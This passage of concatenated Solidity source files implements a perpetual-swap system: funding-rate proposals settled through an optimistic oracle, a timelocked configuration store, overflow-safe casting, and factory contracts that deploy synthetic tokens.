* 2. If possible, resolves the outstanding funding rate proposal, pulling the result in and paying out the rewards.
* 3. Applies the prevailing funding rate over the most recent period.
*/
function applyFundingRate() public paysRegularFees() nonReentrant() {
_applyEffectiveFundingRate();
}
/**
* @notice Proposes a new funding rate. Proposer receives a reward if correct.
* @param rate funding rate being proposed.
* @param timestamp time at which the funding rate was computed.
*/
function proposeFundingRate(FixedPoint.Signed memory rate, uint256 timestamp)
external
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalBond)
{
require(fundingRate.proposalTime == 0, "Proposal in progress");
_validateFundingRate(rate);
// Timestamp must be after the last funding rate update time, within the last 30 minutes.
uint256 currentTime = getCurrentTime();
uint256 updateTime = fundingRate.updateTime;
require(
timestamp > updateTime && timestamp >= currentTime.sub(_getConfig().proposalTimePastLimit),
"Invalid proposal time"
);
// Set the proposal time in order to allow this contract to track this request.
fundingRate.proposalTime = timestamp;
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
// Set up optimistic oracle.
bytes32 identifier = fundingRate.identifier;
bytes memory ancillaryData = _getAncillaryData();
// Note: requestPrice will revert if `timestamp` is less than the current block timestamp.
optimisticOracle.requestPrice(identifier, timestamp, ancillaryData, collateralCurrency, 0);
totalBond = FixedPoint.Unsigned(
optimisticOracle.setBond(
identifier,
timestamp,
ancillaryData,
_pfc().mul(_getConfig().proposerBondPercentage).rawValue
)
);
// Pull bond from caller and send to optimistic oracle.
if (totalBond.isGreaterThan(0)) {
collateralCurrency.safeTransferFrom(msg.sender, address(this), totalBond.rawValue);
collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), totalBond.rawValue);
}
optimisticOracle.proposePriceFor(
msg.sender,
address(this),
identifier,
timestamp,
ancillaryData,
rate.rawValue
);
}
// Returns a token amount scaled by the current funding rate multiplier.
// Note: if the contract has paid fees since it was deployed, the raw value should be larger than the returned value.
function _getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt)
internal
view
returns (FixedPoint.Unsigned memory tokenDebt)
{
return rawTokenDebt.mul(fundingRate.cumulativeMultiplier);
}
function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) {
return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle));
}
function _getConfig() internal returns (ConfigStoreInterface.ConfigSettings memory) {
return configStore.updateAndGetCurrentConfig();
}
function _updateFundingRate() internal {
uint256 proposalTime = fundingRate.proposalTime;
// If there is no pending proposal then do nothing. Otherwise check to see if we can update the funding rate.
if (proposalTime != 0) {
// Attempt to update the funding rate.
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
bytes32 identifier = fundingRate.identifier;
bytes memory ancillaryData = _getAncillaryData();
// Try to get the price from the optimistic oracle. This call will revert if the request has not resolved
// yet. If the request has not resolved yet, then we need to do additional checks to see if we should
// "forget" the pending proposal and allow new proposals to update the funding rate.
try optimisticOracle.settleAndGetPrice(identifier, proposalTime, ancillaryData) returns (int256 price) {
// If successful, determine if the funding rate state needs to be updated.
// If the request is more recent than the last update then we should update it.
uint256 lastUpdateTime = fundingRate.updateTime;
if (proposalTime >= lastUpdateTime) {
// Update funding rates
fundingRate.rate = FixedPoint.Signed(price);
fundingRate.updateTime = proposalTime;
// If there was no dispute, send a reward.
FixedPoint.Unsigned memory reward = FixedPoint.fromUnscaledUint(0);
OptimisticOracleInterface.Request memory request =
optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData);
if (request.disputer == address(0)) {
reward = _pfc().mul(_getConfig().rewardRatePerSecond).mul(proposalTime.sub(lastUpdateTime));
if (reward.isGreaterThan(0)) {
_adjustCumulativeFeeMultiplier(reward, _pfc());
collateralCurrency.safeTransfer(request.proposer, reward.rawValue);
}
}
// This event will only be emitted after the fundingRate struct's "updateTime" has been set
// to the latest proposal's proposalTime, indicating that the proposal has been published.
// So, it suffices to just emit fundingRate.updateTime here.
emit FundingRateUpdated(fundingRate.rate.rawValue, fundingRate.updateTime, reward.rawValue);
}
// Set proposal time to 0 since this proposal has now been resolved.
fundingRate.proposalTime = 0;
} catch {
// Stop tracking and allow other proposals to come in if:
// - The requester address is empty, indicating that the Oracle does not know about this funding rate
// request. This is possible if the Oracle is replaced while the price request is still pending.
// - The request has been disputed.
OptimisticOracleInterface.Request memory request =
optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData);
if (request.disputer != address(0) || request.proposer == address(0)) {
fundingRate.proposalTime = 0;
}
}
}
}
// Constraining the range of funding rates limits the PfC for any dishonest proposer and enhances the
// perpetual's security. For example, let's examine the case where the max and min funding rates
// are equivalent to +/- 500%/year. This 1000% funding rate range allows a 8.6% profit from corruption for a
// proposer who can deter honest proposers for 74 hours:
// 1000%/year / 360 days / 24 hours * 74 hours max attack time = ~ 8.6%.
// How would attack work? Imagine that the market is very volatile currently and that the "true" funding
// rate for the next 74 hours is -500%, but a dishonest proposer successfully proposes a rate of +500%
// (after a two hour liveness) and disputes honest proposers for the next 72 hours. This results in a funding
// rate error of 1000% for 74 hours, until the DVM can set the funding rate back to its correct value.
function _validateFundingRate(FixedPoint.Signed memory rate) internal {
require(
rate.isLessThanOrEqual(_getConfig().maxFundingRate) &&
rate.isGreaterThanOrEqual(_getConfig().minFundingRate)
);
}
// Fetches a funding rate from the Store, determines the period over which to compute an effective fee,
// and multiplies the current multiplier by the effective fee.
// A funding rate < 1 will reduce the multiplier, and a funding rate of > 1 will increase the multiplier.
// Note: 1 is set as the neutral rate because there are no negative numbers in FixedPoint, so we decide to treat
// values < 1 as "negative".
function _applyEffectiveFundingRate() internal {
// If contract is emergency shutdown, then the funding rate multiplier should no longer change.
if (emergencyShutdownTimestamp != 0) {
return;
}
uint256 currentTime = getCurrentTime();
uint256 paymentPeriod = currentTime.sub(fundingRate.applicationTime);
_updateFundingRate(); // Update the funding rate if there is a resolved proposal.
fundingRate.cumulativeMultiplier = _calculateEffectiveFundingRate(
paymentPeriod,
fundingRate.rate,
fundingRate.cumulativeMultiplier
);
fundingRate.applicationTime = currentTime;
}
function _calculateEffectiveFundingRate(
uint256 paymentPeriodSeconds,
FixedPoint.Signed memory fundingRatePerSecond,
FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier
) internal pure returns (FixedPoint.Unsigned memory newCumulativeFundingRateMultiplier) {
// Note: this method uses named return variables to save a little bytecode.
// The overall formula that this function is performing:
// newCumulativeFundingRateMultiplier =
// (1 + (fundingRatePerSecond * paymentPeriodSeconds)) * currentCumulativeFundingRateMultiplier.
FixedPoint.Signed memory ONE = FixedPoint.fromUnscaledInt(1);
// Multiply the per-second rate over the number of seconds that have elapsed to get the period rate.
FixedPoint.Signed memory periodRate = fundingRatePerSecond.mul(SafeCast.toInt256(paymentPeriodSeconds));
// Add one to create the multiplier to scale the existing fee multiplier.
FixedPoint.Signed memory signedPeriodMultiplier = ONE.add(periodRate);
// Max with 0 to ensure the multiplier isn't negative, then cast to an Unsigned.
FixedPoint.Unsigned memory unsignedPeriodMultiplier =
FixedPoint.fromSigned(FixedPoint.max(signedPeriodMultiplier, FixedPoint.fromUnscaledInt(0)));
// Multiply the existing cumulative funding rate multiplier by the computed period multiplier to get the new
// cumulative funding rate multiplier.
newCumulativeFundingRateMultiplier = currentCumulativeFundingRateMultiplier.mul(unsignedPeriodMultiplier);
}
function _getAncillaryData() internal view returns (bytes memory) {
// Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address
// whose funding rate it's trying to get.
return abi.encodePacked(_getTokenAddress());
}
function _getTokenAddress() internal view virtual returns (address);
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's uintXX casting operators with added overflow
* checks.
*
* Downcasting from uint256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} to extend it to smaller types, by performing
* all math on `uint256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
interface ConfigStoreInterface {
// All of the configuration settings available for querying by a perpetual.
struct ConfigSettings {
// Liveness period (in seconds) for an update to currentConfig to become official.
uint256 timelockLiveness;
// Reward rate paid to successful proposers. Percentage of 1 E.g., .1 is 10%.
FixedPoint.Unsigned rewardRatePerSecond;
// Bond % (of given contract's PfC) that must be staked by proposers. Percentage of 1, e.g. 0.0005 is 0.05%.
FixedPoint.Unsigned proposerBondPercentage;
// Maximum funding rate % per second that can be proposed.
FixedPoint.Signed maxFundingRate;
// Minimum funding rate % per second that can be proposed.
FixedPoint.Signed minFundingRate;
// Funding rate proposal timestamp cannot be more than this amount of seconds in the past from the latest
// update time.
uint256 proposalTimePastLimit;
}
function updateAndGetCurrentConfig() external returns (ConfigSettings memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title EmergencyShutdownable contract.
* @notice Any contract that inherits this contract will have an emergency shutdown timestamp state variable.
* This contract provides modifiers that can be used by children contracts to determine if the contract is
* in the shutdown state. The child contract is expected to implement the logic that happens
* once a shutdown occurs.
*/
abstract contract EmergencyShutdownable {
using SafeMath for uint256;
/****************************************
* EMERGENCY SHUTDOWN DATA STRUCTURES *
****************************************/
// Timestamp used in case of emergency shutdown. 0 if no shutdown has been triggered.
uint256 public emergencyShutdownTimestamp;
/****************************************
* MODIFIERS *
****************************************/
modifier notEmergencyShutdown() {
_notEmergencyShutdown();
_;
}
modifier isEmergencyShutdown() {
_isEmergencyShutdown();
_;
}
/****************************************
* EXTERNAL FUNCTIONS *
****************************************/
constructor() public {
emergencyShutdownTimestamp = 0;
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
function _notEmergencyShutdown() internal view {
// Note: removed require string to save bytecode.
require(emergencyShutdownTimestamp == 0);
}
function _isEmergencyShutdown() internal view {
// Note: removed require string to save bytecode.
require(emergencyShutdownTimestamp != 0);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../common/FundingRateApplier.sol";
import "../../common/implementation/FixedPoint.sol";
// Implements FundingRateApplier internal methods to enable unit testing.
contract FundingRateApplierTest is FundingRateApplier {
constructor(
bytes32 _fundingRateIdentifier,
address _collateralAddress,
address _finderAddress,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
)
public
FundingRateApplier(
_fundingRateIdentifier,
_collateralAddress,
_finderAddress,
_configStoreAddress,
_tokenScaling,
_timerAddress
)
{}
function calculateEffectiveFundingRate(
uint256 paymentPeriodSeconds,
FixedPoint.Signed memory fundingRatePerSecond,
FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier
) public pure returns (FixedPoint.Unsigned memory) {
return
_calculateEffectiveFundingRate(
paymentPeriodSeconds,
fundingRatePerSecond,
currentCumulativeFundingRateMultiplier
);
}
// Required overrides.
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory currentPfc) {
return FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this)));
}
function emergencyShutdown() external override {}
function remargin() external override {}
function _getTokenAddress() internal view override returns (address) {
return address(collateralCurrency);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ConfigStoreInterface.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @notice ConfigStore stores configuration settings for a perpetual contract and provides an interface for it
* to query settings such as reward rates, proposal bond sizes, etc. The configuration settings can be upgraded
* by a privileged account and the upgraded changes are timelocked.
*/
contract ConfigStore is ConfigStoreInterface, Testable, Lockable, Ownable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* STORE DATA STRUCTURES *
****************************************/
// Make currentConfig private to force user to call getCurrentConfig, which returns the pendingConfig
// if its liveness has expired.
ConfigStoreInterface.ConfigSettings private currentConfig;
// Beginning on `pendingPassedTimestamp`, the `pendingConfig` can be published as the current config.
ConfigStoreInterface.ConfigSettings public pendingConfig;
uint256 public pendingPassedTimestamp;
/****************************************
* EVENTS *
****************************************/
event ProposedNewConfigSettings(
address indexed proposer,
uint256 rewardRatePerSecond,
uint256 proposerBondPercentage,
uint256 timelockLiveness,
int256 maxFundingRate,
int256 minFundingRate,
uint256 proposalTimePastLimit,
uint256 proposalPassedTimestamp
);
event ChangedConfigSettings(
uint256 rewardRatePerSecond,
uint256 proposerBondPercentage,
uint256 timelockLiveness,
int256 maxFundingRate,
int256 minFundingRate,
uint256 proposalTimePastLimit
);
/****************************************
* MODIFIERS *
****************************************/
// Update config settings if possible.
modifier updateConfig() {
_updateConfig();
_;
}
/**
* @notice Construct the Config Store. An initial configuration is provided and set on construction.
* @param _initialConfig Configuration settings to initialize `currentConfig` with.
* @param _timerAddress Address of testable Timer contract.
*/
constructor(ConfigSettings memory _initialConfig, address _timerAddress) public Testable(_timerAddress) {
_validateConfig(_initialConfig);
currentConfig = _initialConfig;
}
/**
* @notice Returns current config or pending config if pending liveness has expired.
* @return ConfigSettings config settings that calling financial contract should view as "live".
*/
function updateAndGetCurrentConfig()
external
override
updateConfig()
nonReentrant()
returns (ConfigStoreInterface.ConfigSettings memory)
{
return currentConfig;
}
/**
* @notice Propose new configuration settings. New settings go into effect after a liveness period passes.
* @param newConfig Configuration settings to publish after `currentConfig.timelockLiveness` passes from now.
* @dev Callable only by owner. Calling this while there is already a pending proposal will overwrite the pending proposal.
*/
function proposeNewConfig(ConfigSettings memory newConfig) external onlyOwner() nonReentrant() updateConfig() {
_validateConfig(newConfig);
// Warning: This overwrites a pending proposal!
pendingConfig = newConfig;
// Use current config's liveness period to timelock this proposal.
pendingPassedTimestamp = getCurrentTime().add(currentConfig.timelockLiveness);
emit ProposedNewConfigSettings(
msg.sender,
newConfig.rewardRatePerSecond.rawValue,
newConfig.proposerBondPercentage.rawValue,
newConfig.timelockLiveness,
newConfig.maxFundingRate.rawValue,
newConfig.minFundingRate.rawValue,
newConfig.proposalTimePastLimit,
pendingPassedTimestamp
);
}
/**
* @notice Publish any pending configuration settings if there is a pending proposal that has passed liveness.
*/
function publishPendingConfig() external nonReentrant() updateConfig() {}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Check if pending proposal can overwrite the current config.
function _updateConfig() internal {
// If liveness has passed, publish proposed configuration settings.
if (_pendingProposalPassed()) {
currentConfig = pendingConfig;
_deletePendingConfig();
emit ChangedConfigSettings(
currentConfig.rewardRatePerSecond.rawValue,
currentConfig.proposerBondPercentage.rawValue,
currentConfig.timelockLiveness,
currentConfig.maxFundingRate.rawValue,
currentConfig.minFundingRate.rawValue,
currentConfig.proposalTimePastLimit
);
}
}
function _deletePendingConfig() internal {
delete pendingConfig;
pendingPassedTimestamp = 0;
}
function _pendingProposalPassed() internal view returns (bool) {
return (pendingPassedTimestamp != 0 && pendingPassedTimestamp <= getCurrentTime());
}
// Use this method to constrain values with which you can set ConfigSettings.
function _validateConfig(ConfigStoreInterface.ConfigSettings memory config) internal pure {
// We don't set limits on proposal timestamps because there are already natural limits:
// - Future: price requests to the OptimisticOracle must be in the past---we can't add further constraints.
// - Past: proposal times must always be after the last update time, and a reasonable past limit would be 30
// mins, meaning that no proposal timestamp can be more than 30 minutes behind the current time.
// Make sure timelockLiveness is not too long, otherwise contract might not be able to fix itself
// before a vulnerability drains its collateral.
require(config.timelockLiveness <= 7 days && config.timelockLiveness >= 1 days, "Invalid timelockLiveness");
// The reward rate should be modified as needed to incentivize honest proposers appropriately.
// Additionally, the rate should be less than 100% a year => 100% / 360 days / 24 hours / 60 mins / 60 secs
// = 0.0000033
FixedPoint.Unsigned memory maxRewardRatePerSecond = FixedPoint.fromUnscaledUint(33).div(1e7);
require(config.rewardRatePerSecond.isLessThan(maxRewardRatePerSecond), "Invalid rewardRatePerSecond");
// We don't set a limit on the proposer bond because it is a defense against dishonest proposers. If a proposer
// were to successfully propose a very high or low funding rate, then their PfC would be very high. The proposer
// could theoretically keep their "evil" funding rate alive indefinitely by continuously disputing honest
// proposers, so we would want to be able to set the proposal bond (equal to the dispute bond) higher than their
// PfC for each proposal liveness window. The downside of not limiting this is that the config store owner
// can set it arbitrarily high and preclude a new funding rate from ever coming in. We suggest setting the
// proposal bond based on the configuration's funding rate range like in this discussion:
// https://github.com/UMAprotocol/protocol/issues/2039#issuecomment-719734383
// We also don't set a limit on the funding rate max/min because we might need to allow very high magnitude
// funding rates in extraordinarily volatile market situations. Note, that even though we do not bound
// the max/min, we still recommend that the deployer of this contract set the funding rate max/min values
// to bound the PfC of a dishonest proposer. A reasonable range might be the equivalent of [+200%/year, -200%/year].
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/implementation/ContractCreator.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "../../common/implementation/Lockable.sol";
import "../common/TokenFactory.sol";
import "../common/SyntheticToken.sol";
import "./PerpetualLib.sol";
import "./ConfigStore.sol";
/**
* @title Perpetual Contract creator.
* @notice Factory contract to create and register new instances of perpetual contracts.
* Responsible for constraining the parameters used to construct a new perpetual. This creator contains a number of constraints
* that are applied to newly created contract. These constraints can evolve over time and are
* initially constrained to conservative values in this first iteration. Technically there is nothing in the
* Perpetual contract requiring these constraints. However, because `createPerpetual()` is intended
* to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract),
we can enforce deployment configurations here.
*/
contract PerpetualCreator is ContractCreator, Testable, Lockable {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* PERP CREATOR DATA STRUCTURES *
****************************************/
// Immutable params for perpetual contract.
struct Params {
address collateralAddress;
bytes32 priceFeedIdentifier;
bytes32 fundingRateIdentifier;
string syntheticName;
string syntheticSymbol;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
FixedPoint.Unsigned minSponsorTokens;
FixedPoint.Unsigned tokenScaling;
uint256 withdrawalLiveness;
uint256 liquidationLiveness;
}
// Address of TokenFactory used to create a new synthetic token.
address public tokenFactoryAddress;
event CreatedPerpetual(address indexed perpetualAddress, address indexed deployerAddress);
event CreatedConfigStore(address indexed configStoreAddress, address indexed ownerAddress);
/**
* @notice Constructs the Perpetual contract.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances.
* @param _timerAddress Contract that stores the current time in a testing environment.
*/
constructor(
address _finderAddress,
address _tokenFactoryAddress,
address _timerAddress
) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() {
tokenFactoryAddress = _tokenFactoryAddress;
}
/**
* @notice Creates an instance of perpetual and registers it within the registry.
* @param params is a `ConstructorParams` object from Perpetual.
* @return address of the deployed contract.
*/
function createPerpetual(Params memory params, ConfigStore.ConfigSettings memory configSettings)
public
nonReentrant()
returns (address)
{
require(bytes(params.syntheticName).length != 0, "Missing synthetic name");
require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol");
// Create new config settings store for this contract and reset ownership to the deployer.
ConfigStore configStore = new ConfigStore(configSettings, timerAddress);
configStore.transferOwnership(msg.sender);
emit CreatedConfigStore(address(configStore), configStore.owner());
// Create a new synthetic token using the params.
TokenFactory tf = TokenFactory(tokenFactoryAddress);
// If the collateral token does not have a `decimals()` method,
// then a default precision of 18 will be applied to the newly created synthetic token.
uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress);
ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals);
address derivative = PerpetualLib.deploy(_convertParams(params, tokenCurrency, address(configStore)));
// Give permissions to new derivative contract and then hand over ownership.
tokenCurrency.addMinter(derivative);
tokenCurrency.addBurner(derivative);
tokenCurrency.resetOwner(derivative);
_registerContract(new address[](0), derivative);
emit CreatedPerpetual(derivative, msg.sender);
return derivative;
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
// Converts createPerpetual params to Perpetual constructor params.
function _convertParams(
Params memory params,
ExpandedIERC20 newTokenCurrency,
address configStore
) private view returns (Perpetual.ConstructorParams memory constructorParams) {
// Known from creator deployment.
constructorParams.finderAddress = finderAddress;
constructorParams.timerAddress = timerAddress;
// Enforce configuration constraints.
require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0");
require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0");
_requireWhitelistedCollateral(params.collateralAddress);
// We don't want perpetual deployers to be able to intentionally or unintentionally set
// liveness periods that could induce arithmetic overflow, but we also don't want
// to be opinionated about what livenesses are "correct", so we will somewhat
// arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness
// periods even greater than a few days would make the perpetual unusable for most users.
require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large");
require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large");
// To avoid precision loss or overflows, prevent the token scaling from being too large or too small.
FixedPoint.Unsigned memory minScaling = FixedPoint.Unsigned(1e8); // 1e-10
FixedPoint.Unsigned memory maxScaling = FixedPoint.Unsigned(1e28); // 1e10
require(
params.tokenScaling.isGreaterThan(minScaling) && params.tokenScaling.isLessThan(maxScaling),
"Invalid tokenScaling"
);
// Input from function call.
constructorParams.configStoreAddress = configStore;
constructorParams.tokenAddress = address(newTokenCurrency);
constructorParams.collateralAddress = params.collateralAddress;
constructorParams.priceFeedIdentifier = params.priceFeedIdentifier;
constructorParams.fundingRateIdentifier = params.fundingRateIdentifier;
constructorParams.collateralRequirement = params.collateralRequirement;
constructorParams.disputeBondPercentage = params.disputeBondPercentage;
constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
constructorParams.minSponsorTokens = params.minSponsorTokens;
constructorParams.withdrawalLiveness = params.withdrawalLiveness;
constructorParams.liquidationLiveness = params.liquidationLiveness;
constructorParams.tokenScaling = params.tokenScaling;
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/FinderInterface.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "./Registry.sol";
import "./Constants.sol";
/**
* @title Base contract for all financial contract creators
*/
abstract contract ContractCreator {
address internal finderAddress;
constructor(address _finderAddress) public {
finderAddress = _finderAddress;
}
function _requireWhitelistedCollateral(address collateralAddress) internal view {
FinderInterface finder = FinderInterface(finderAddress);
AddressWhitelist collateralWhitelist =
AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
require(collateralWhitelist.isOnWhitelist(collateralAddress), "Collateral not whitelisted");
}
function _registerContract(address[] memory parties, address contractToRegister) internal {
FinderInterface finder = FinderInterface(finderAddress);
Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry));
registry.registerContract(parties, contractToRegister);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "./SyntheticToken.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/implementation/Lockable.sol";
/**
* @title Factory for creating new mintable and burnable tokens.
*/
contract TokenFactory is Lockable {
/**
* @notice Create a new token and return it to the caller.
* @dev The caller will become the only minter and burner and the new owner capable of assigning the roles.
* @param tokenName used to describe the new token.
* @param tokenSymbol short ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals used to define the precision used in the token's numerical representation.
* @return newToken an instance of the newly created token interface.
*/
function createToken(
string calldata tokenName,
string calldata tokenSymbol,
uint8 tokenDecimals
) external nonReentrant() returns (ExpandedIERC20 newToken) {
SyntheticToken mintableToken = new SyntheticToken(tokenName, tokenSymbol, tokenDecimals);
mintableToken.addMinter(msg.sender);
mintableToken.addBurner(msg.sender);
mintableToken.resetOwner(msg.sender);
newToken = ExpandedIERC20(address(mintableToken));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/ExpandedERC20.sol";
import "../../common/implementation/Lockable.sol";
/**
* @title Burnable and mintable ERC20.
* @dev The contract deployer will initially be the only minter, burner and owner capable of adding new roles.
*/
contract SyntheticToken is ExpandedERC20, Lockable {
/**
* @notice Constructs the SyntheticToken.
* @param tokenName The name which describes the new token.
* @param tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory tokenName,
string memory tokenSymbol,
uint8 tokenDecimals
) public ExpandedERC20(tokenName, tokenSymbol, tokenDecimals) nonReentrant() {}
/**
* @notice Add Minter role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Minter role is added.
*/
function addMinter(address account) external override nonReentrant() {
addMember(uint256(Roles.Minter), account);
}
/**
* @notice Remove Minter role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Minter role is removed.
*/
function removeMinter(address account) external nonReentrant() {
removeMember(uint256(Roles.Minter), account);
}
/**
* @notice Add Burner role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Burner role is added.
*/
function addBurner(address account) external override nonReentrant() {
addMember(uint256(Roles.Burner), account);
}
/**
* @notice Removes Burner role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Burner role is removed.
*/
function removeBurner(address account) external nonReentrant() {
removeMember(uint256(Roles.Burner), account);
}
/**
* @notice Reset Owner role to account.
* @dev The caller must have the Owner role.
* @param account The new holder of the Owner role.
*/
function resetOwner(address account) external override nonReentrant() {
resetMember(uint256(Roles.Owner), account);
}
/**
* @notice Checks if a given account holds the Minter role.
* @param account The address which is checked for the Minter role.
* @return bool True if the provided account is a Minter.
*/
function isMinter(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Minter), account);
}
/**
* @notice Checks if a given account holds the Burner role.
* @param account The address which is checked for the Burner role.
* @return bool True if the provided account is a Burner.
*/
function isBurner(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Burner), account);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Perpetual.sol";
/**
* @title Provides convenient Perpetual Multi Party contract utilities.
* @dev Using this library to deploy Perpetuals allows calling contracts to avoid importing the full bytecode.
*/
library PerpetualLib {
/**
* @notice Returns address of new Perpetual deployed with given `params` configuration.
* @dev Caller will need to register new Perpetual with the Registry to begin requesting prices. Caller is also
* responsible for enforcing constraints on `params`.
* @param params is a `ConstructorParams` object from Perpetual.
* @return address of the deployed Perpetual contract
*/
function deploy(Perpetual.ConstructorParams memory params) public returns (address) {
Perpetual derivative = new Perpetual(params);
return address(derivative);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
